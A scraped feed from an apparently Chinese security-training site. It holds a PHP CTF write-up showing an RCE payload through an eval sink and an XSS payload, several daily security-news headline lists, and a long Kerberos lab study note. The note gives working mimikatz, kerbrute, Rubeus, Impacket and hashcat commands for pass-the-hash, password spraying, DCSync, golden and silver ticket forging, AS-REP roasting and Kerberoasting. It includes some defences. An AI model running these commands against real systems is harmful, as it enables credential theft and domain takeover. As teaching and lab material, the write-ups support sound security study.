连异常报错也能拿到flag?
https://www.yijinglab.com/pages/CTFLaboratory.jsp 前言: 本篇将讲述PHP函数以及对象在使用过程中经常出现的错误,通过一个个小实验纠正这些错误,并且从安全的角度出发,利用这些可能存在的错误,捕获这些异常,甚至完成RCE操作。 脸滚键盘打出来的函数也能执行? 没错,该部分内容如上方小标题所示,在PHP中,即使你瞎打的函数,在经过一番调整后,可能程序就能正常运行了。 比如,有如下PHP代码: <?php tian(phpinfo());在这一段PHP代码中,随便瞎编了一个函数,并且向函数提供了一个phpinfo()参数,这样的PHP代码能运行起来吗? 当然不能,除非tian这个函数在内部已经自定义好了,否则这一串代码是一定报错的。 那么有没有办法让PHP正常执行这个程序呢? 有,那必须有,甚至只需要一行 <?php function tian(){} tian(phpinfo());新添加的这一行代码本质上就是给tian这个函数进行一个声明,这样整一个程序就能正常运行了。 这个时候可能就会有小机灵鬼发现了一个问题,在tian这个函数里并没有要求函数需要有输入啊,但是为什么程序就正常执行了呢? 从小开始接触括号的时候,老师就一直强调,有括号的要先算括号内的,程序自然也遵循着这样的原则,有括号的地方,那就先执行括号内的代码,至于后续是否报错,先把括号里的东西执行了再说。 举一反三,既然自定义的函数可以这么操作,那么PHP默认自带的一些函数那肯定也可以这么操作: 举个最常见的函数: <?php $sql = mysqli_connect(phpinfo(),"root","root","mysql");mysql_connect作为过程化风格函数,在开发中十分常用,这里我们将数据库连接地址的位置参数写成phpinfo(),这个时候程序可以将phpinfo()打印出来。 至此,大家应该能明白为什么脸滚键盘打出来的函数也能执行了,那么除了函数,脸滚出来的对象能不能执行呢? 为什么我的对象打印不出来? 在初学PHP面向对象的时候,可能经常会犯的一个错误,代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   } } echo new tian();这个代码报错如下: 这个程序错误就出在想要将对象直接打印出来,想要解决这样的报错,在PHP中有一个自带的魔术方法__toString,这个魔术方法会在对象被当做字符串的时候调用。 因此将上方程序进行修改,修改后的代码如下: <?php class tian{    public $id = "Lxxx";    function getid()   {        return $this->id;   }    function __toString()   {        return $this->id;   } } echo new tian();这个时候,程序就可以正常执行了 这个时候我们修改一下代码: <?php class tian{    public $id;    function __construct($id)   {        $this->id = $id;   }    function __toString()   {        return $this->id;   } } echo new tian(phpinfo());这个时候,结合上面的内容,应该就能理解这一部分代码 代码执行如下: 程序内如果有一个类,新建对象的时候需要一个参数,这个时候我们往参数里面放phpinfo(),程序会先执行phpinfo() 那么将这两个特性结合起来有什么用呢? 下面就给出一道CTF例题,利用上方的性质,结合异常捕获来达到RCE。 表演一个异常报错实现RCE 题目代码如下: <?php //flag in flag.php highlight_file(__FILE__); if ( isset($_GET['a']) && isset($_GET['b'])) {    $a = $_GET['a'];    $b = $_GET['b'];    eval("echo new $a($b());"); }关键代码为:eval("echo new $a($b());"); 首先,这一部分代码没有自定义的类,因此需要用到PHP中自带的类 我们先测试一下,传payload:?a=mysqli&b=phpinfo 这个时候是正常回显phpinfo,但是想要命令执行还是有些许距离。 因此我们需要找到一个PHP自带类,并且这个类需要有__toString()魔术方法,我们这里找到一个类为Exception。 其中PHP官方手册对这个类的__toString()描述如下: 这个类会将传入的异常参数直接输出,那么如果将命令执行作为参数传入呢? <?php echo new Exception(system("whoami")()); 那就先执行命令,然后将执行命令的结果作为参数传给Exception 所以传payload:?a=exception&b=system("whoami") 这个即可RCE 除此之外,Exception中__toString()魔术方法是直接输出,不存在命令执行的过程,因此在这个地方可能存在XSS。 举个例子: <?php echo new Exception("$_GET[1]");这个时候传:?1=<script>alert("XSS");</script> 是可以XSS 当然,还有许多其他的内置类能实现同样的功能,本篇文章就起到一个抛砖引玉的作用。
网络安全日报 2021年10月15日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、WhatsApp 推出端到端加密聊天备份 https://securityaffairs.co/wordpress/123389/security/whatsapp-made-available-end-to-end-encrypted-chat-backups.html 2、2020 年以来至少有 130 个不同的勒索软件家族处于活动状态 https://securityaffairs.co/wordpress/123376/malware/virustotal-ransomware-report.html 3、以色列Hillel Yaffe 医疗中心遭到重大勒索软件攻击 https://securityaffairs.co/wordpress/123350/hacking/israeli-hospital-ransomware-attack.html 4、新型勒索软件"Yanluowang"针对大型企业进行攻击 https://securityaffairs.co/wordpress/123328/malware/yanluowang-ransomware-targeted-attacks.html 5、Brizy WordPress 插件漏洞 可导致站点被接管 https://threatpost.com/brizy-wordpress-plugin-exploit-site-takeovers/175463/ 6、Verizon 的 Visible 用户遭遇凭证填充攻击 https://threatpost.com/verizon-visible-wireless-credential-stuffing/175483/ 7、Linphone 和 MicroSIP 软电话披露的严重远程攻击漏洞 https://thehackernews.com/2021/10/critical-remote-hacking-flaws-disclosed.html 8、研究人员发现广告拦截插件AllBlock会在后台注入广告 https://www.theregister.com/2021/10/14/ad_blocker_injects_bad_ads/ 9、网络钓鱼攻击者使用电报机器人窃取OTP代码 https://cyware.com/news/telegram-bots-used-in-latest-campaigns-to-steal-otps-bd401a98 10、研究人员披露了ITG23网络犯罪团伙的活动 https://securityintelligence.com/posts/trickbot-gang-doubles-down-enterprise-infection/
网络安全日报 2021年10月14日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、APT28 发起针对 Gmail 用户的鱼叉式网络钓鱼活动 https://cyware.com/news/apt28-launches-spearphishing-campaign-against-gmail-users-google-warns-84b73646 2、Apache 服务器最近修复的两个漏洞正被积极利用 https://cyware.com/news/two-flaws-in-apache-servers-are-under-attack-d493d3f9 3、厄瓜多尔最大私人银行皮钦查银行遭受大规模网络攻击 https://www.bleepingcomputer.com/news/security/cyberattack-shuts-down-ecuadors-largest-bank-banco-pichincha/ 4、谷歌成立网络安全行动小组 https://www.infosecurity-magazine.com/news/google-creates-cybersecurity/ 5、由于安全配置错误,巴西电商公司Hariexpress泄露了超过 17 亿条记录 https://www.infosecurity-magazine.com/news/ecommerce-player-leaks-billion/ 6、Nagios XI 更新以解决三个安全漏洞 https://portswigger.net/daily-swig/nagios-xi-updated-to-address-trio-of-security-vulnerabilities 7、OpenSea 的严重漏洞可让黑客从钱包中窃取加密货币 https://thehackernews.com/2021/10/critical-flaw-in-opensea-could-have-let.html 8、攻击者使用数学符号来逃避反网络钓鱼检测 https://securityaffairs.co/wordpress/123297/hacking/anti-phishing-technique.html 9、研究人员披露了一个新的SnapMC黑客组织 https://therecord.media/new-snapmc-group-extorts-companies-after-short-30-minute-hacks 10、Windows 零日漏洞被积极利用 https://threatpost.com/windows-zero-day-exploited-espionage/175432/
kerberos学习小结
文章有点长,请准备10-15分钟的时间阅读哦 https://www.yijinglab.com/expc.do?ec=ECID172.19.104.182014040817061200001 概念 | DC | 域控 || KDC | 密钥分发中心,域控担任 || AD | 活动目录,包含与用户数据库 || AS | Kerberos认证服务 || TGT | AS分发,TGT认证权证 || TGS | 票据授予服务 || ST | ST服务票据,由TGS服务发送 | krbtgt用户,是系统在创建域时自动生成的一个帐号,其作用是密钥分发中心的服务账号,其密码是系统随机生成的,无法登录主机 windows密码hash图解如下 AS-REQ AS-REQ:当域内某个用户试图访问域中的某个服务,输入用户名和密码,本机的kerberos服务向KDC的AS认证服务发送一个AS-REQ认证请求,请求中包含:请求的用户名、客户端主机名、加密类型和Authenticator(用户NTML Hash加密的时间戳)以及其他的一些信息 wireshark抓包分析 req-body详细请求包 pvno:kerberos版本号,这里为5 msg-type:消息类型,AS_REQ对应的是krb-as-req(10) padata:主要是一些认证信息,每个认证消息有type和value   PADA PA-ENC-TIMESTAMP:预认证,用用户hash加密时间戳,作为value发送给AS服务器,AS服务器拥有用户hash,使用用户hash进行解密,获得时间戳,如果能解密,且时间戳在一定的范围内,则证明认证通过。由于用户密码是hash加密,所以能够利用hash传递     padata-type:padata类型,这里是KRB5-PADATA-ENC-TIMESTAMP(2)     padata-value:padata的值       etype:padata类型,这里是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       cipher:密钥   PADA PA-PAC-REQUEST:启用PAC支持的扩展。PAC并不在原生的kerberos里面,是微软引进的拓展。PAC包含在相应包AS_REP中,这里的value对应的值为True或False,KDC根据include的值来确定返回的票据中是否需要携带PAC     padata-type:padata类型,这是eTYPE-AES256-CTS-HMAC-SHA1-96(18)       padata-value:padata的值         include-PAC:是否包含PAC,这里为True req-body:请求body   padding:填充,这里为0   kdc-options:用于与KDC预定一些选项设置   cname:客户端用户名,这个用户名存在和不存在,返回的包有差异,可以用于枚举域内用户名,PrincipalName类型,包含type和Value     name-type:名字类型,这里是KRB5-NT-PRINCIPAL(1)     cname-string:名字,也就是请求的用户名       CNameString:请求的用户名,这里为mars2   realm:域名,这里为DRUNKMARS0   sname:服务端用户名,PrincipalName类型,包含type和value,在AS-REQ里面snames为krbtgt     SNameString:这里是用户名 krbtgt     SNameString:这里是域名 DRUNKMARS0   till:到期时间,rubeus和kekeo都是20370913024805Z,这个可以作为特征来检测工具   rtime:到期时间   nonce:随机生成的一个数,kekeo/mimikatz nonce是12381973,rubeus nonce是1818848256,这个也可以用来作为特征检测工具   etype:加密类型,这里有6个items   address:客户端的请求地址,也就是客户端的主机名     HostAddress MESSI-PC<20>       ddr-type:地址类型,这里是nETBIOS(20)       NetBIOS Name:MESSI-PC<20> (Server service)net config workstation 查看域内信息 AS-REQ过程中的攻击方式 hash传递 msf进行hash传递 只适用于域环境,并且目标主机需要安装 KB2871997补丁 mimikatz进行hash传递 这里mimikatz获取到hash之后不能复制粘贴,这时可以将获取到的hash导出到log日志中,命令如下 mimikatz log privilege::debug sekurlsa::ekeys 抓取sid为500的administrator的ntlm哈希 privilege::debug sekurlsa::logonpasswords 执行命令 sekurlsa::pth /user:administrator /domain:192.168.10.5 /ntlm:7c64e7ebf46b9515c56b2dd522d21c1c KB2871997 安装KB2871997这个补丁之后,只能用sid为500的管理员账户进行pass hash PTK(pass the key) 获取aes-key: privilege::debug sekurlsa::ekeys 注入aes-key: sekurlsa::pth /user:Administrator /domain:Drunkmars.com /aes256:cf5dba161f3a3dc89454742ff5db89980d6b07e771048b30006546e81d1d79e2 域内用户枚举 使用kerbrute工具: https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_windows_amd64.exe前提需要DC需要开启kerberos 88端口 准备用户名保存为txt 使用以下命令 kerbrute_windows_amd64.exe userenum --dc 192.168.10.5 -d Drunkmars.com user.txt 使用kerbrute进行错误枚举的原理就是kerberos有三种错误代码: KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 在DC抓包可以看到有4个UNKNOWN,1个REQUIRED,证明有这个用户名存在 密码喷洒 当用户名存在,密码正确和错误返回的包是不相同的,所以知道用户名的情况下可以用一个相同的密码去爆破用户,这种针对所有用户的自动密码猜测是为了防止账户被锁定,因为针对同一个用户连续密码猜测很容易导致账户被锁。所以只有对所有用户同时执行特定的密码进行尝试,才能增加破解的概率,消除帐号被锁定的可能 使用以下命令 kerbrute_windows_amd64.exe passwordspray --dc 192.168.10.5 -d Drunkmars.com user.txt Fcb0519.. 密码同样存在三种错误代码 KDC_ERR_PREAUTH_REQUIRED-需要额外的预认证(启用) KDC_ERR_CLIENT_REVOKED-客户端凭证已被吊销(禁用) KDC_ERR_C_PRINCIPAL_UNKNOWN-在Kerberos数据库中找不到客户端(不存在) 同样在DC抓包,有4个UNKNOWN,1个REQUIRED AS-REP AS-REP:当KDC接受到请求之后,通过AD活动目录查询得到该用户的密码hash,用该密码hash对请求包的Authenticator进行解密,如果解密成功,则证明请求者提供的密码正确,而且需要时间戳范围在五分钟内,且不是重放,则域认证成功。KAS成功认证对方的身份之后,发送相应包给客户端,响应包中主要包括krbtgt用户的NTLM hash加密后的TGT认购权证(即ticket这部分)和用户NTLM hash加密的Login Session key(即最外层enc-part这部分)以及一些其他信息。该Login Session key的作用是用于确保客户端和KDC下阶段之间通信安全。最后T 在enc-part里面最重要的字段就是Login session key,作为下阶段的认证密钥 AS-REP中最核心的东西就是Login session-key 和加密的 ticket。正常我们用工具生成的凭据是.ccache和.kirbi后缀的,用mimikatz,kekeo,rebeus生成的凭据是.kirbi后缀的,impacket生成的凭据是.ccache,两种票据主要包含的都是Login session-key 和加密的 ticket,因此可以相互转换 AS-REP中的攻击方式 黄金票据 使用mimikatz 先获取krbtgt hash DC执行 mimikatz.exe "lsadump::dcsync /domain:Drunkmars.com /user:krbtgt" 获得如下信息 sid:S-1-5-21-652679085-3170934373-4288938398-502 ntlm hash:c1833c0783cfd81d3548dd89b017c99a aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50伪造administrator执行(aes256)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /aes256:2ec7a180207fea5ede74f482b365885d3bf6ad764082d13113e9e4b98c14ba50 /user:administrator /ticket:gold.kirbi" 伪造administrator执行(krbtgt hash)生成gold.kirbi mimikatz "kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398-502 /krbtgt:c1833c0783cfd81d3548dd89b017c99a /user:administrator /ticket:gold.kirbi" 导入golden.kirbi,执行命令 kerberos::ptt C:\\Users\\mars2\\Desktop\\gold.kirbi查看本地缓存,发现凭据成功导入 kerberos::list 打开新的cmd,用klist查看凭证 dir连接过去,注意这里必须要主机名,不能够用IP连接 这里有一个坑,必须要管理员权限开cmd,不然也会显示拒绝访问 看下权限,处于Domain Users组 查看所有组 net group /do 查看Domain Controllers组,这里我在域用户机器上可以查看是因为我导入了金票,实际上这个命令只能在DC上才能查看 net group "Domain Controllers" /do 删除凭据 kerberos::purge 使用impacket 使用kali,不在域内需要把dns改向域控 先生成票据administrator.ccache python3 ticketer.py -domain-sid S-1-5-21-652679085-3170934373-4288938398-502 -nthash c1833c0783cfd81d3548dd89b017c99a -domain Drunkmars.com administrator导入票据 export KRB5CCNAME=administrator.ccache然后访问域控 python3 smbexec.py -no-pass -k WIN-M836NN6NU8B.Drunkmars.com AS-REP Roasting 在AS-REP阶段,最外层的enc-part是用户密码hash加密的。对于域用户,如果设置了"Do not require Kerberos preauthentication",此时向域控的88端口发送AS-REP内容(enc-part底下的ciper,因为这部分是使用用户hash加密的Login Session Key,通过离线爆破就可以获得用户hash)重新组合,能够拼接成"Kerberos 5 AS-REP etype 23"(18200)的格式,接下来可以通过hashcat对其破解,最终获得明文密码,这就构成了AS-REP Roasting攻击 默认这个功能是不启用的,如果启用AS-REP会返回用户hash加密的sessionkey-as,这样我们就能够用john离线破解 使用Empire下的powerview.ps1查找域中设置了"不需要kerberos预认证"的用户 Import-Module .\powerview.ps1 Get-DomainUser -PreauthNotRequired 使用ASREPRoast.ps1获取AS-REP返回的hash Import-Module .\ASREPRoast.ps1 Get-ASREPHash -Username mars2 -Domain Drunkmars.com | Out-File Encoding ASCII hash.txt修改为hashcat能识别的格式,在$krb5asrep后面添加$23拼接 hashcat -m 18200 hash.txt pass.txt --force TGS-REQ 经过上面的步骤,客户端获得了 TGT认购权证 和 Login Session Key。然后用自己的密码NTLM Hash解密Login Session Key得到 原始的LogonSession Key。然后它会在本地缓存此 TGT认购权证 和 原始的Login Session Key。如果现在它需要访问某台服务器的某个服务,它就需要凭借这张TGT认购凭证向KDC购买相应的入场券ST服务票据(Service Ticket)。ST服务票据是通过KDC的另一个服务 TGS(Ticket Granting Service)出售的。在这个阶段,微软引入了两个扩展自协议 S4u2self 和 S4u2P TGS-REQ:客户端向KDC购买针对指定服务的ST服务票据请求,该请求主要包含如下的内容:客户端信息、Authenticator(Login Session Key加密的时间戳)、TGT认购权证(padata下ap-req下的ticket) 和 访问的服务名以及一些其他信息 TGS-REP TGS-REP:TGS接收到请求之后,首先会检查自身是否存在客户端所请求的服务。如果服务存在,则通过 krbtgt 用户的NTLM Hash 解密TGT并得到Login Session Key,然后通过Login Session Key解密Authenticator,如果解密成功,则验证了对方的真实身份,同时还会验证时间戳是否在范围内。并且还会检查TGT中的时间戳是否过期,且原始地址是否和TGT中保存的地址相同。 在完成上述的检测后,如果验证通过,则TGS完成了对客户端的认证,会生成一个用Logon Session Key加密后的用于确保客户端-服务器之间通信安全的Service Session Key会话秘钥(也就是最外层enc-part部分)。并且会为该客户端生成ST服务票据。ST服务票据主要包含两方面的内容:客户端用户信息 和 原始Service Session Key,整个ST服务票据用该服务的NTLM Hash进行加密。 最终Service Session Key 和 ST服务票据发送给客户端。(这一步不管用户有没有访问服务的权限,只要TGT正确,就都会返回ST服务票据,这也是kerberoasting能利用的原因,任何一个用户,只要hash正确,就可以请求域内任何一个服务的ST票据) enc-part:这部分是用请求服务的密码Hash加密的。因此如果我们拥有服务的密码Hash,那么我们就可以自己制作一个ST服务票据,这就造成了白银票据攻击。也正因为该票据是用请求服务的密码Hash加密的,所以当我们得到了ST服务票据,可以尝试爆破enc_part,来得到服务的密码Hash。这也就造成了kerberoast攻击。 TGS-REP过程中的攻击方式 何为SPN SPN(ServicePrincipal Names)服务主体名称,是服务实例(比如:HTTP、SMB、MySQL等服务)的唯一标识符。 Kerberos认证过程使用SPN将服务实例与服务登录账户相关联,如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个SPN。SPN始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。一个用户账户下可以有多个SPN,但一个SPN只能注册到一个账户。在内网中,SPN扫描通过查询向域控服务器执行服务发现。这对于红队而言,可以帮助他们识别正在运行重要服务的主机,如终端,交换机等。SPN的识别是kerber 下面通过一个例子来说明SPN的作用: 当某用户需要访问MySQL服务时,系统会以当前用户的身份向域控查询SPN为MySQL的记录。当找到该SPN记录后,用户会再次与KDC通信,将KDC发放的TGT作为身份凭据发送给KDC,并将需要访问的SPN发送给KDC。KDC中的TGS服务对TGT进行解密。确认无误后,由TGS将一张允许访问该SPN所对应的服务的ST服务票据和该SPN所对应的服务的地址发送给用户,用户使用该票据即可访问MySQL服务。 SPN分为两种类型: 1.是注册在活动目录的机器帐户(Computers)下,当一个服务的权限为 Local System 或 Network Service,则SPN注册在机器帐户(Computers)下。域中的每个机器都会有注册两个SPN:HOST/主机名和 HOST/主机名.Drunkmars.com 2.是注册在活动目录的域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下 查看当前域内所有的SPN: setspn -Q \* \*查看指定域Drunkmars.com注册的SPN: setspn -T Drunkmars.com -Q \* \*如果指定域不存在,则默认切换到查找本域的SPN 查找本域内重复的SPN: setspn -X删除指定SPN: setspn -D MySQL/win7.Drunkmars.com:1433/MSSQL hack查找指定用户/主机名注册的SPN: setspn -L username/hostname Kerberoast攻击 Kerberoast攻击过程: 1.攻击者对一个域进行身份验证,然后从域控制器获得一个TGT认购权证,该TGT认购权证用于以后的ST服务票据请求 2.攻击者使用他们的 TGT认购权证 发出ST服务票据请求(TGS-REQ) 获取特定形式(name/host)的 servicePrincipalName (SPN)。例如:MSSqlSvc/SQL.domain.com。此SPN在域中应该是唯一的,并且在用户或计算机帐户的servicePrincipalName 字段中注册。 在服务票证请求(TGS-REQ)过程中,攻击者可以指定它们支持的Kerberos加密类型(RC4_HMAC,AES256_CTS_HMAC_SHA1_96等等)。 3.如果攻击者的 TGT 是有效的,则 DC 将从TGT认购权证中提取信息并填充到ST服务票据中。 然后,域控制器查找哪个帐户在ServicedPrincipalName 字段中注册了所请求的 SPN。ST服务票据使用注册了所要求的 SPN 的帐户的NTLM哈希进行加密,并使用攻击者和服务帐户共同商定的加密算法。ST服务票据以服务票据回复(TGS-REP)的形式发送回攻击者。 4.攻击者从 TGS-REP 中提取加密的服务票证。 由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。 首先是请求服务票据 1.Rubeus.exe请求 Rubeus里面的kerberoast支持对所有用户或者特定用户执行kerberoasting操作,其原理在于先用LDAP查询于内的spn,再通过发送TGS包,然后直接打印出能使用hashcat 或 john 爆破的Hash。以下的命令会打印出注册于用户下的所有SPN的服务票据的hashcat格式 Rubeus.exe kerberoast 2.powershell请求 #请求服务票据 Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-DB-0day.0day.org:1433" #列出服务票据 klist 3.mimikatz请求 请求服务票据 kerberos::ask /target:MSSQLSvc/Srv-DB-0day.0day.org:1433列出服务票据 kerberos::list清除所有票据 kerberos::purge4.Impacket中的GetUserSPNS.py请求 该脚本可以请求注册于用户下的所有SPN的服务票据。使用该脚本需要提供域账号密码才能查询。该脚本直接输出hashcat格式的服务票据,可用hashcat直接爆破。 python3 GetUserSPNs.py -request -dc-ip 192.168.200.143 0day.org/jack 导出票据 首先是查看klist或mimikatz.exe "kerberos::list" MSF里面 load kiwi kerberos_ticket_list或 load kiwi kiwi_cmd kerberos::list1.mimikatz导出 mimikatz.exe "kerberos::list /export" "exit"执行完后,会在mimikatz同目录下导出 后缀为kirbi的票据文件 2.Empire下的Invoke-Kerberoast.ps1 Import-Module .\Invoke-Kerberoast.ps1;Invoke-Kerberoast -outputFormat Hashcat 离线破解服务票据 1.kerberoast中的tgsrepcrack.py python2 tgsrepcrack.py password.txt xx.kirbi 2.hashcat 将导出的hashcat格式的哈希保存为hash.txt文件,放到hashcat的目录下 hashcat -m 13100 hash.txt pass.txtKerberoast攻击防范 确保服务账号密码为强密码(长度、随机性、定期修改) 如果攻击者无法将默认的AES256_HMAC加密方式改为RC4_HMAC_MD5,就无法实验tgsrepcrack.py来破解密码。 攻击者可以通过嗅探的方法抓取Kerberos TGS票据。因此,如果强制实验AES256_HMAC方式对Kerberos票据进行加密,那么,即使攻击者获取了Kerberos票据,也无法将其破解,从而保证了活动目录的安全性。 许多服务账户在内网中被分配了过高的权限,且密码强度较差。攻击者很可能通过破解票据的密码,从域用户权限提升到域管理员权限。因此,应该对服务账户的权限进行适当的配置,并提高密码的强度。 在进行日志审计时,可以重点关注ID为4679(请求Kerberos服务票据)的时间。如果有过多的 4769 日志,应进一步检查系统中是否存在恶意行为。 白银票据 在TGS-REP阶段,TGS_REP里面的ticket的enc-part是使用服务的hash进行加密的,如果我们拥有服务的hash,就可以给我们自己签发任意用户的TGS票据,这个票据也被称为白银票据。相较于黄金票据,白银票据使用要访问服务的hash,而不是krbtgt的hash,由于生成的是TGS票据,不需要跟域控打交道,但是白银票票据只能访问特定服务。但是要注意的一点是,伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用 要创建白银票据,我们需要知道以下信息: 要伪造的域用户(这里我们一般填写域管理员账户) 域名 域的SID值(就是域成员SID值去掉最后的) 目标服务的FQDN 可利用的服务 服务账号的NTLM哈希 这里使用白银票据伪造CIFS服务,该通常用于Windows主机之间的文件共享。 1.mimikatz获得服务账号的ntlm hash privilege::Debug sekurlsa::logonpasswords 得到ntlm为7c64e7ebf46b9515c56b2dd522d21c1c 2.使用白银票据攻击 kerberos::golden /domain:Drunkmars.com /sid:S-1-5-21-652679085-3170934373-4288938398 /target:WIN-M836NN6NU8B.Drunkmars.com /service:cifs /rc4:7c64e7ebf46b9515c56b2dd522d21c1c /user:administrator /ptt 3.查看票据 4.访问域控 防御: 伪造的白银票据没有带有有效KDC签名的PAC。如果将目标主机配置为验证KDCPAC签名,则银票将不起作用。 黄金票据和白银票据的不同点 访问权限不同: 黄金票据Golden Ticket:伪造TGT认购权证,可以获取任何Kerberos服务权限 白银票据Silver Ticket:伪造ST服务票据,只能访问指定的服务 加密方式不同: Golden Ticket由krbtgt的Hash加密 Silver Ticket由服务账号(通常为计算机账户)Hash加密 认证流程不同: Golden Ticket的利用过程需要访问域控,而Silver Ticket不需要
网络安全日报 2021年10月13日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、微软周二补丁日发布71 个漏洞补丁包括一个零日漏洞 https://www.securityweek.com/ms-patch-tuesday-71-vulns-one-exploited-zero-day 2、Adobe 修补了多个产品中的关键代码执行漏洞 https://www.securityweek.com/adobe-patches-critical-code-execution-vulnerabilities-several-products 3、Microsoft Azure 遭受 2.4 Tbps DDoS 攻击 https://www.securityweek.com/microsoft-mitigates-24-tbps-ddos-attack-targeting-azure 4、江森自控 exacqVision 视频监控系统存在漏洞面临远程攻击 https://www.securityweek.com/vulnerabilities-expose-exacqvision-video-surveillance-systems-remote-attacks 5、Necro 僵尸网络现在以 Visual Tools DVR 为目标 https://securityaffairs.co/wordpress/123275/cyber-crime/necro-botnet-dvrs.html 6、奥林巴斯美国公司因网络攻击被迫关闭IT系统 https://securityaffairs.co/wordpress/123263/security/olympus-us-cyberattack.html 7、Git GUI 客户端 GitKraken 修复了生成弱SSH密钥的漏洞 https://securityaffairs.co/wordpress/123255/security/gitkraken-flaw-ssh-keys-generation.html 8、Apple发布iOS 15.0.2 系统修复被积极利用的零日漏洞 https://securityaffairs.co/wordpress/123236/mobile-2/apple-zero-day-vulnerability.html 9、Quest旗下的生育诊所在勒索软件攻击后宣布数据泄露 https://www.zdnet.com/article/quest-owned-fertility-clinic-announces-data-breach-after-august-ransomware-attack/ 10、西门子和施耐德电气周二补丁修复50多个漏洞 https://www.securityweek.com/ics-patch-tuesday-siemens-and-schneider-electric-address-over-50-vulnerabilities
网络安全日报 2021年10月12日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、InHand 路由器漏洞可能使许多工业公司面临远程攻击 https://www.securityweek.com/inhand-router-flaws-could-expose-many-industrial-companies-remote-attacks 2、工程公司 Weir Group 披露勒索软件攻击 https://www.securityweek.com/engineering-company-weir-group-discloses-ransomware-hack 3、微软披露针对美国和以色列国防技术部门的与伊朗有关的 APT https://www.securityweek.com/microsoft-exposes-iran-linked-apt-targeting-us-israeli-defense-tech-sectors 4、NSA 警告通配符TLS证书、ALPACA 攻击带来的风险 https://www.securityweek.com/nsa-warns-risks-posed-wildcard-certificates-alpaca-attacks 5、苹果发布紧急更新修复被积极利用的零日漏洞 https://securityaffairs.co/wordpress/123236/mobile-2/apple-zero-day-vulnerability.html 6、LibreOffice 和 OpenOffice 中证书验证漏洞允许伪造签名文档 https://securityaffairs.co/wordpress/123212/security/libreoffice-openoffice-flaw.html 7、太平洋城市银行披露了AvosLocker勒索软件攻击 https://www.bleepingcomputer.com/news/security/pacific-city-bank-discloses-ransomware-attack-claimed-by-avoslocker/ 8、报告称英国公司在夏季每47秒遭受一次攻击 https://www.infosecurity-magazine.com/news/uk-firms-one-attack-every-47/ 9、全球知名短信发送服务商Syniverse遭黑客入侵长达5年 https://securityboulevard.com/2021/10/syniverse-hack-billions-of-users-data-leaks-over-five-years/ 10、有人在黑客论坛上出售15亿facebook用户数据 https://www.dailysabah.com/business/tech/data-of-over-15-billion-facebook-users-being-sold-on-dark-web
网络安全日报 2021年10月11日
免责声明:以下内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以下内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以下内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。 1、研究人员发布针对Apache CVE-2021-41773漏洞的NMAP脚本 https://securityaffairs.co/wordpress/123148/hacking/nmap-script-cve-apache-2021-41773.html 2、Sky.com 服务器因配置错误而泄露数据 https://securityaffairs.co/wordpress/123143/data-breach/sky-com-server-misconfiguration.html 3、荷兰政府利用情报或军事力量应对勒索软件攻击 https://therecord.media/netherlands-can-use-intelligence-or-armed-forces-to-respond-to-ransomware-attacks/ 4、苏格兰工程公司Weir遭受重大网络攻击 https://www.bbc.com/news/uk-scotland-scotland-business-58801753 5、印度政府发布电力行业网络安全指南 https://ciso.economictimes.indiatimes.com/news/govt-releases-guidelines-for-cybersecurity-in-power-sector/86857960 6、美国媒体集团CMG遭勒索软件攻击后中断了广播 https://securityaffairs.co/wordpress/123136/malware/cox-media-group-ransomware.html 7、Apple 要求所有应用程序都可以让用户轻松删除他们的帐户 https://thehackernews.com/2021/10/apple-requires-devs-to-make-it-easy-for.html 8、美司法部将对未报告网络安全事件的承包商处以罚款 https://www.inforisktoday.com/us-doj-to-fine-contractors-for-failure-to-report-incidents-a-17695 9、研究显示2022年诈骗机器人电话将使消费者损失400亿美元 https://www.helpnetsecurity.com/2021/10/07/fraudulent-robocalls-threat/ 10、微软修复了阻止Azure虚拟桌面安全更新的错误 https://www.bleepingcomputer.com/news/microsoft/microsoft-fixes-bug-blocking-azure-virtual-desktops-security-updates/
autoload魔术方法的妙用
